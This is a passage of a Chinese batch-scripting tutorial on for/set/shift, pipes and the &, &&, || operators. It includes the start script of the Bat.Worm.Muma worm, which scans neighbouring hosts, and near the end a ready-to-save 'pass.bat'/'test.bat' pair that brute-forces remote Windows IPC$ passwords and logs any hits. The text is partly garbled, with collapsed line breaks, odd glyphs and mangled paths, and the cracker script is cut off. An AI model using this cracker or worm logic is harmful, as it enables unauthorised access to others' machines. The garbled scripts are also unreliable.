10、for、set、shift

為什么把這三個(gè)命令放到一起來講？原因除了我說明外，恐怕誰也想不到！很簡(jiǎn)單的一句話：其實(shí)我也不太懂！是的，對(duì)于這兩個(gè)命令，我是從研究Bat.Worm.Muma病毒開始學(xué)習(xí)的，時(shí)間過去了不少，但還是沒完全搞明白，我怕講出來連自己都看不懂，我更怕不小心講錯(cuò)了成了罪人。所以我給出一個(gè)腳本去告訴你，如何讓這兩個(gè)命令給自己留一個(gè)初步的印象，其實(shí)也就是這兩個(gè)命令的入門，而并不是說如何領(lǐng)會(huì)這兩個(gè)命令。因?yàn)橐I(lǐng)會(huì)如此精妙的兩個(gè)命令（特別是for）談何容易！也許你會(huì)表揚(yáng)我說我誠實(shí)、不懂就不懂；也許你會(huì)罵我，讓我既然不懂就趕緊滾蛋，不要在這里丟人顯眼；也許你還會(huì)說一些別的這樣那樣好聽或不好聽的話，都隨便你了，即使我不同意你說的話，我也會(huì)誓死捍衛(wèi)你說話的權(quán)利。看例十一：

@echo off for /? > for.txt set /? > set.txt shift /? >shift.txt exit 

執(zhí)行后在當(dāng)前路徑下就生成for.txt、set.txt和shift.txt三個(gè)文件，里面分別記錄了for命令、set命令和shift命令的幫助信息。地球人都能看懂，我就不多說了。我在網(wǎng)上曾經(jīng)找了很長(zhǎng)時(shí)間這三個(gè)命令的教程，但都不理想，基本都是照搬的幫助信息。我想在自己完全掌握了這兩個(gè)命令后，一定要寫一篇用自己的文字總結(jié)出來的for、set和shift教程（關(guān)于shift命令，后面介紹批處理的參數(shù)時(shí)還將涉及到），一定會(huì)的，這是我的心愿之一！需要注意的一點(diǎn)是，這三個(gè)命令的幫助里 ，介紹的都比較死板，雖然也舉了一些例子，但這是遠(yuǎn)遠(yuǎn)不夠的。要掌握這兩個(gè)命令，最需要的就是耐心！沒寫錯(cuò)，就是耐心。光是認(rèn)真看完它們的幫助文字就已經(jīng)需要足夠的耐心了，要進(jìn)一步練習(xí)領(lǐng)會(huì)這兩個(gè)命令，難道不需要更大的耐心？實(shí)戰(zhàn)練習(xí)的機(jī)會(huì)我會(huì)留給你的，關(guān)鍵還是那句話，看你有沒有耐心去研究了?？纯蠢?/p>

START.BAT： CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START 

這是Bat.Worm.Muma病毒的起始腳本，設(shè)置了病毒運(yùn)行的環(huán)境變量。是不是看的頭都大了？又忘了寫在第一章第一段的那句話（靜下心來?。?，你應(yīng)該能體會(huì)到學(xué)習(xí)這兩個(gè)命令所需要的耐心了吧。就如同去愛一個(gè)人，你得學(xué)會(huì)寬容，打不得罵不得，用你寬大的胸懷去包容她的一切，即使你發(fā)現(xiàn)愛她的過程如看上面代碼的過程一樣讓你頭大，但你還是得愛下去----愛需要理由嗎？不需要嗎？需要嗎？不需要嗎……等到風(fēng)平浪靜后，最直觀的收獲就是，你的耐心變的前所未有的充足，面對(duì)她的復(fù)雜和善變，你自己會(huì)處變不驚，以自己的方式去從容應(yīng)付曾經(jīng)應(yīng)付不了的場(chǎng)面，即使到最后一身傷痕，也會(huì)感慨曾經(jīng)的舉動(dòng)有多么偉大。

沒錯(cuò)，這就是批處理的魅力，這就是愛的魅力。讓你受了傷還感謝傷你的人。

不得不再次重申一遍，各種DOS命令是批處理的BODY（我實(shí)在找不出一個(gè)更合適的詞來形容他們之間的關(guān)系），學(xué)好DOS命令是學(xué)好批處理的前提。其他DOS命令如copy、dir、del、type、path、break、start等內(nèi)部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批處理里的應(yīng)用非常廣泛。這篇教程的作用，是教你認(rèn)識(shí)批處理，以及如何利用DOS命令組合出來一個(gè)完美的批處理腳本，去讓它自動(dòng)完成你想要它做的事情。而靈活自如的編輯一個(gè)批處理腳本是建立在熟練掌握DOS命令的基礎(chǔ)上的，這已經(jīng)超出了本文的范疇，在此就不贅述了。

不知不覺中第三章已經(jīng)結(jié)束了。耳麥里傳來的依然是陳曉東的《比我幸?！?，每隔4分32秒就自動(dòng)重播。雖然我不并不很喜歡陳曉東，可這并不妨礙我喜歡音樂，喜歡這首描寫的如此讓人感慨的歌。請(qǐng)你一定要比我幸福/才不枉費(fèi)我狼狽退出/再痛也不說苦/愛不用抱歉來彌補(bǔ)/至少我能成全你的追逐/請(qǐng)記得你要比我幸福/才值得我對(duì)自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。

可以說，批處理腳本中最重要的幾個(gè)命令我都沒有給出如echo或if那樣比較詳細(xì)的介紹，原因我已經(jīng)說了，因?yàn)槲乙彩莻€(gè)菜，我也不太懂----但我正在學(xué)！你呢？今天又去了一趟圖書館，淘金一樣發(fā)現(xiàn)了一本叫《DOS批文件》的東東，藏在一個(gè)角落里落滿了灰，五本摞一起就跟磚頭一樣厚了。大概翻了一下，里面介紹了很多比較底層和基礎(chǔ)的東西，雖然從思路上講，已經(jīng)有點(diǎn)time out了，很多東西已經(jīng)基本沒有利用的價(jià)值（這就是信息時(shí)代的更新速度），但還是很值得看的。于是打算下午淘過來，放假回去了再好好研究一番，連同那幾個(gè)不熟悉的命令一起搞熟了，再續(xù)寫這篇教程。我始終堅(jiān)信，沒有最好只有更好。

但是很可惜，等到下午再去的時(shí)候，圖書館樓梯口已經(jīng)立了一個(gè)牌子，上面寫著out of service----人家這學(xué)期的工作結(jié)束了。于是回到宿舍打算繼續(xù)寫第四章，正在這時(shí)又得到一個(gè)“振奮人心”的消息：期末考試有一科掛了，而且是全班第一----這一門整個(gè)班里就掛了我一個(gè)。郁悶的情緒剎那間涌上心頭，整個(gè)世界仿佛都變成黑的了。食堂和小賣部已經(jīng)陸續(xù)關(guān)門，學(xué)校里的人越來越少，迎面過來的幾個(gè)同學(xué)也都一身行李，忙碌著準(zhǔn)備回家過年，內(nèi)心的孤寂和失落如同夏日里暴雨前的烏云，迅速而不可抗拒的占領(lǐng)了心里每一個(gè)角落。迎著一月的冷風(fēng)我一個(gè)人在天橋上發(fā)呆，還能怎么樣，連期末考試都應(yīng)付不了的失敗男人。

“課間休息”時(shí)間好象長(zhǎng)了點(diǎn)，呵呵，上課了！從這一章開始，將詳細(xì)介紹批處理中常用的幾個(gè)組合命令和管道命令。這些命令雖然不是必須的，如同愛一個(gè)人時(shí)不一定非得每天去陪，但如果少了這個(gè)過程，事情就會(huì)變的復(fù)雜而不完美，所以我認(rèn)為管道命令和組合命令是批處理的調(diào)味劑，幾乎是少不了的。

下面從管道命令講起。常用的管道命令有以下這些：|、>、>>

11、|

這個(gè)命令恐怕大家不是很陌生，經(jīng)常操作DOS的朋友都應(yīng)該知道，當(dāng)我們查看一個(gè)命令的幫助時(shí)，如果幫助信息比較長(zhǎng)，一屏幕顯示不完時(shí)DOS并不給我們時(shí)間讓我們看完一屏幕再翻到另一屏幕，而是直接顯示到幫助信息的最后。如在提示符下輸入help回車時(shí)，就會(huì)看到當(dāng)前DOS版本所支持的所有非隱含命令，但你只能看到最后的那些命令，前面的早就一閃而過了，如何解決這個(gè)問題？看例十三：

help | more

回車后會(huì)發(fā)現(xiàn)顯示滿一屏幕后就自動(dòng)暫停，等候繼續(xù)顯示其他信息。當(dāng)按寫回車時(shí)，變成一個(gè)一個(gè)的出現(xiàn)；按下空格鍵時(shí)一屏幕一屏幕顯示，直到全部顯示完為止；按其他鍵自動(dòng)停止返回DOS。

為什么會(huì)出現(xiàn)上述現(xiàn)象？答案很簡(jiǎn)單，這里結(jié)合了管道命令|和DOS命令more來共同達(dá)到目的的。這里先簡(jiǎn)單介紹一下help命令和more命令，對(duì)理解|命令的用法有很大幫助。

11.1、help命令。其實(shí)這個(gè)命令是不需要多說的，但在上述例子中help命令的用法比較特殊，直接在DOS提示符下輸入help命令，結(jié)果是讓DOS顯示其所支持的所有非隱含命令，而在其他地方用help命令，如輸入net help回車，則是顯示net命令的幫助信息。

11.2、more命令。可能很多朋友以前就沒有接觸過這個(gè)命令，這個(gè)命令在Linux下的用處非常廣泛，也是管道命令之一。大家可以找一篇比較長(zhǎng)的文章（a.txt）在DOS提示符下輸入如下兩個(gè)命令去比較一下差別：more a.txt和type a.txt。利用more命令，可以達(dá)到逐屏或逐行顯示輸出的效果，而type命令只能一次把輸出顯示完，最后的結(jié)果就是只能看到末尾的部分。在例十三里，more命令的作用就是讓輸出的信息逐屏或逐行顯示。
看到這里，你是否已經(jīng)能隱約感受到了|命令的作用了？沒錯(cuò)，它的作用，就是把前一命令的輸出當(dāng)后一命令的輸入來用的。在例十三里，前一命令的輸出，就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令，而這個(gè)結(jié)果剛好做了后一命令more的輸入。所以例十三和下面的例十四是等效的：

help > a.txt
more a.txt
del a.txt

這里利用另一管道命令>生成了一個(gè)a.txt文件作為中間環(huán)節(jié)，在用more命令查看a.txt文件后再刪除a.txt文件（例十三的所有操作是在內(nèi)存中進(jìn)行的，不生成文件）?？梢钥闯?，正確使用管道命令|可以帶來事半功倍的效果。

結(jié)合例十三和例十四，以及前面的例九再體會(huì)一遍：|命令的作用，就是讓前一命令的輸出當(dāng)做后一命令的輸入。

學(xué)習(xí)批處理！包你學(xué)會(huì)（四）

12、>、>>

這兩個(gè)命令的效果從本質(zhì)上來說都是一樣的，他們都是輸出重定向命令，說的通俗一點(diǎn)，就是把前面命令的輸出寫入到一個(gè)文件中。這兩個(gè)命令的唯一區(qū)別是，>會(huì)清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫入原文件，而>>只會(huì)另起一行追加新的內(nèi)容到原文件中，而不會(huì)改動(dòng)其中的原有內(nèi)容。例十五：

echo @echo off > a.bat echo echo This is a pipeline command example. >> a.bat echo echo It is very easy? >> a.bat echo echo Believe your self! >> a.bat echo pause >> a.bat echo exit >> a.bat 

依次在DOS提示符下輸入以上各行命令，一行一個(gè)回車，將在當(dāng)前目錄下生成一個(gè)a.bat文件，里面的內(nèi)容如下：

@echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit 

看到這里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個(gè)文本，而不需要專門的文本編輯工具；2、管道命令>和>>的區(qū)別如上所述。如果這里只用>命令來完成上面操作，最后也會(huì)生成一個(gè)a.bat，但里面的內(nèi)容就只剩下最后一行exit了。所以>和>>一般都聯(lián)合起來用，除非你重定向的輸出只有一行，那么就可以只用>了。結(jié)合例一再仔細(xì)體會(huì)輸出重定向管道命令>和>>的用法。

13、<、>&、<&

這三個(gè)命令也是管道命令，但它們一般不常用，你只需要知道一下就ok了，當(dāng)然如果想仔細(xì)研究的話，可以自己查一下資料。

<，輸入重定向命令，從文件中讀入命令輸入，而不是從鍵盤中讀入。
>&，將一個(gè)句柄的輸出寫入到另一個(gè)句柄的輸入中。
<&，剛好和>&相反，從一個(gè)句柄讀取輸入并將其寫入到另一個(gè)句柄輸出中。

關(guān)于這三個(gè)管道命令的舉例，在后面批處理腳本的精妙應(yīng)用中還將涉及到。
下面介紹組合命令：&、&&、||

組合命令，顧名思義，就是可以把多個(gè)命令組合起來當(dāng)一個(gè)命令來執(zhí)行。這在批處理腳本里是允許的，而且用的非常廣泛。它的格式很簡(jiǎn)單----既然現(xiàn)在已經(jīng)成了一個(gè)文件了，那么這多個(gè)命令就要用這些組合命令連接起來放在同一行----因?yàn)榕幚碚J(rèn)行不認(rèn)命令數(shù)目。組合命令的作用，就如同給愛人陪不是，說一句是說，說十句也是說，不一次把好話都說了出來，效果可能會(huì)好些----當(dāng)然得排除一種特殊情況：這些話是否有先后順序，有些話是否可以同時(shí)說。在批處理腳本里也一樣，有些時(shí)候某些命令是不能同時(shí)執(zhí)行的，后面給你說。

剛剛又送走了一個(gè)同學(xué)，人去樓空的感覺越來越明顯，望著空蕩蕩的床鋪，平日里喧鬧的宿舍就只剩下我一個(gè)人了，整個(gè)世界只有那個(gè)平時(shí)令人非常討厭的老鼠這時(shí)候才顯得可愛起來----只有它會(huì)陪著我在這不敢開燈的漆黑夜里----一個(gè)連期末考試都應(yīng)付不了的失敗男人。失?。∥腋械娇煲粑贿^來，這種失敗的壓力簡(jiǎn)直令我窒息，簡(jiǎn)直讓我的手接收不到大腦的信號(hào)，簡(jiǎn)直讓這篇未完成的教程夭折。但我能怪誰？

忙碌了一學(xué)期要過年了卻掛了科，失??；掛了科也倒罷了，竟然一個(gè)人拖全班的后退，失敗中的失敗；更失敗的，是在這最失落的時(shí)候，竟然找不到一個(gè)人可以傾訴；然而最失敗的，是突然發(fā)現(xiàn)自己竟然如此脆弱，如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個(gè)問題：為什么明知道那段情是一個(gè)旋渦卻還心甘情愿的往里面跳----這就是青春，風(fēng)一樣的年齡，火一樣不安的心。不再愛了，我不要再一個(gè)人的時(shí)候苦苦等待；不再愛了，我不要在你給的囚籠里憐憫的愛；不再愛了，我不要在別人的視線里如此可笑；不再愛，我不再愛。就算塌下來，我也要一個(gè)人扛著，頭不能低腰不能彎，不能喘息不能傾訴，因?yàn)殡m然失敗，但還是男人，是男人就不能向困難低頭！

14、&

這可以說是最簡(jiǎn)單的一個(gè)組合命令了，它的作用是用來連接n個(gè)DOS命令，并把這些命令按順序執(zhí)行，而不管是否有命令執(zhí)行失敗。例十六：

copy a.txt b.txt /y & del a.txt

其實(shí)這句和move a.txt b.txt的效果是一樣的，只不過前者是分了兩步來進(jìn)行的（在后面還將涉及到具體使用哪種方法的問題）。這個(gè)命令很簡(jiǎn)單，就不多費(fèi)口舌了，唯一需要注意的一點(diǎn)是，這里&兩邊的命令是有執(zhí)行順序的，從前往后執(zhí)行。


15、&&

切記，這里介紹的幾個(gè)命令都是組合命令，所以他們前后都必須都有其他命令（要不如何組合？）。這個(gè)命令也不例外，它可以把它前后兩個(gè)命令組合起來當(dāng)一個(gè)命令來用，與&命令不同之處在于，它在從前往后依次執(zhí)行被它連接的幾個(gè)命令時(shí)會(huì)自動(dòng)判斷是否有某個(gè)命令執(zhí)行出錯(cuò)，一旦發(fā)現(xiàn)出錯(cuò)后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動(dòng)化完成一些任務(wù)提供了方便。例十七：

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果遠(yuǎn)程主機(jī)存在user.mdb，則copy到本地e:\backup\www，如果不存在當(dāng)然就不執(zhí)行copy了。這句對(duì)搞網(wǎng)管的朋友是否有點(diǎn)用呢？呵呵。其實(shí)它和下面這句的作用是一樣的：

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜歡用哪個(gè)就隨便了，我沒辦法判斷dir和if兩個(gè)命令哪一個(gè)執(zhí)行效率更高，所以不知道用哪個(gè)更好，呵呵。

你是否還記得“有些命令是不能同時(shí)執(zhí)行的”？你是否相信這句話？當(dāng)然得相信，不信就給你出道題：把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來搞定這道題？有朋友說，這還不是很easy的問題嗎？同時(shí)執(zhí)行兩個(gè)dir，然后把得到的結(jié)果>到a.txt里就ok了嘛，看例十八：

dir c:\ && dir d:\ > a.txt

仔細(xì)研究一下這句執(zhí)行后的結(jié)果，看看是否能達(dá)到題目的要求！錯(cuò)了！這樣執(zhí)行后a.txt里只有D盤的信息！為什么？就因?yàn)檫@里&&命令和>命令不能同時(shí)出現(xiàn)一個(gè)句子里（批處理把一行看成一個(gè)句子）??！組合命令&&的優(yōu)先級(jí)沒有管道命令>的優(yōu)先級(jí)高（自己總結(jié)的，不妥的地方請(qǐng)指正）！所以這句在執(zhí)行時(shí)將本分成這兩部分：dir c:\和dir d:\ > a.txt，而并不是如你想的這兩部分：dir c:\ && dir d:\和> a.txt。要使用組合命令&&達(dá)到題目的要求，必須得這么寫：

dir c:\ > a.txt && dir d:\ >> a.txt

這樣，依據(jù)優(yōu)先級(jí)高低，DOS將把這句話分成以下兩部分：dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊，值得好好研究體會(huì)一下。

當(dāng)然這里還可以利用&命令（自己想一下道理哦）：

dir c:\ > a.txt & dir d:\ >> a.txt

16、||

這個(gè)命令的用法和&&幾乎一樣，但作用剛好和它相反：利用這種方法在執(zhí)行多條命令時(shí)，當(dāng)遇到一個(gè)執(zhí)行正確的命令就退出此命令組合，不再繼續(xù)執(zhí)行下面的命令。題目：查看當(dāng)前目錄下是否有以s開頭的exe文件，如果有則退出。例十九：

@echo off
dir s*.exe || exit

其實(shí)這個(gè)例子是有破綻的，你看出來了嗎？其實(shí)很簡(jiǎn)單，自己試試就知道了嘛：如果存在那個(gè)exe文件，就退出；如果不存在那個(gè)exe文件，也退出！為什么？因?yàn)槿绻淮嬖谀莻€(gè).exe文件，則前一條命令dir s*.exe執(zhí)行肯定是不成功的，所以就繼續(xù)執(zhí)行exit，自然就退出了，呵呵。那么如何解決題目給出的問題呢？看例二十：

@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

這樣執(zhí)行的結(jié)果，就能達(dá)到題目的要求，是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思，當(dāng)然是讓你能看到echo輸出的內(nèi)容，否則一閃而過的窗口，echo就白寫了。

給出兩個(gè)更好研究?jī)?yōu)先級(jí)（同時(shí)也是更難理解）的腳本，仔細(xì)研究它們的區(qū)別，以便徹底理解各種命令的優(yōu)先級(jí)順序，對(duì)以后自己利用這些命令寫腳本有很大的好處----不會(huì)出錯(cuò)！OK，請(qǐng)看例二十一和例二十二：

例二十一：

@echo off
dir a.ttt /a & dir a.txt || exit

例二十二：

@echo off
dir a.ttt /a && dir a.txt || exit

警告：患有心腦血管病的朋友請(qǐng)不要研究以上兩例，否則輕者頭大如斗，重者血管爆裂。任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé)，與本人和本論壇無關(guān)。特此警告！

有關(guān)管道命令和組合命令就大概介紹到這里了，不知道聰明的你是否理解？呵呵，能理解就成天才了，除非你以前就已經(jīng)掌握！千萬別小看了這幾個(gè)鬼命令，大棒槌是我的說，簡(jiǎn)直就不是人學(xué)的東西！但我還是靜下心來研究了一番，最后得出的結(jié)論如上所述，已經(jīng)一點(diǎn)不剩的交給你了，希望你好好收藏并消化吸收，當(dāng)然有錯(cuò)誤被你發(fā)現(xiàn)了，或者不完整的地方被你看出來了，請(qǐng)趕緊告訴我一聲！

這幾個(gè)命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程：“簡(jiǎn)明批處理教程”，雖然說的比較全面，但看起來很不過癮。在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了（當(dāng)然這一點(diǎn)上我不能說人家什么，畢竟我連for /?都沒給出），而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊(cè)表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命令，是因?yàn)樗麄儾攀桥幚淼木A和靈魂，能否正確利用好這幾個(gè)命令，是能否掌握批處理的前提條件。如for、set等DOS命令的問題，可以從DOS的角度出發(fā)專門有針對(duì)性的學(xué)習(xí)，但有關(guān)這幾個(gè)命令的問題，卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了！
將下列代碼存為bat文件
1、如果用字典破解：pass.bat 字典文件路徑及名稱 主機(jī) 用戶名
2、如果用數(shù)字破解：pass.bat 起始數(shù) 步長(zhǎng) 結(jié)束數(shù) 主機(jī) 用戶名
密碼破解出來之后，存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件

@echo off echo ------------------------------------------------------------------- >>c:\pass.txt echo ------------------------------------------------------------------- >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解結(jié)果： >>c:\pass.txt if "%6"=="1" goto 大棒槌是我的說2 :大棒槌是我的說1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :大棒槌是我的說2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 將下列代碼存為test.bat net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果，net use成功返回0，失敗返回2 :answer0 echo 遠(yuǎn)程主機(jī)："%1" >>c:\pass.txt echo 用 戶："%3" >>c:\pass.txt echo 密 碼：%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2

For

對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。

可以在批處理程序中或直接從命令提示符使用 for 命令。

要在批處理程序中使用 for 命令，請(qǐng)使用以下語法：

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for，請(qǐng)使用以下語法：

for %variable in (set) do command [command-parameters]

參數(shù)

%%variable 或 %variable

代表可替換的參數(shù)。for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable（或 %variable），直到此命令（在 command-parameters 中指定）處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。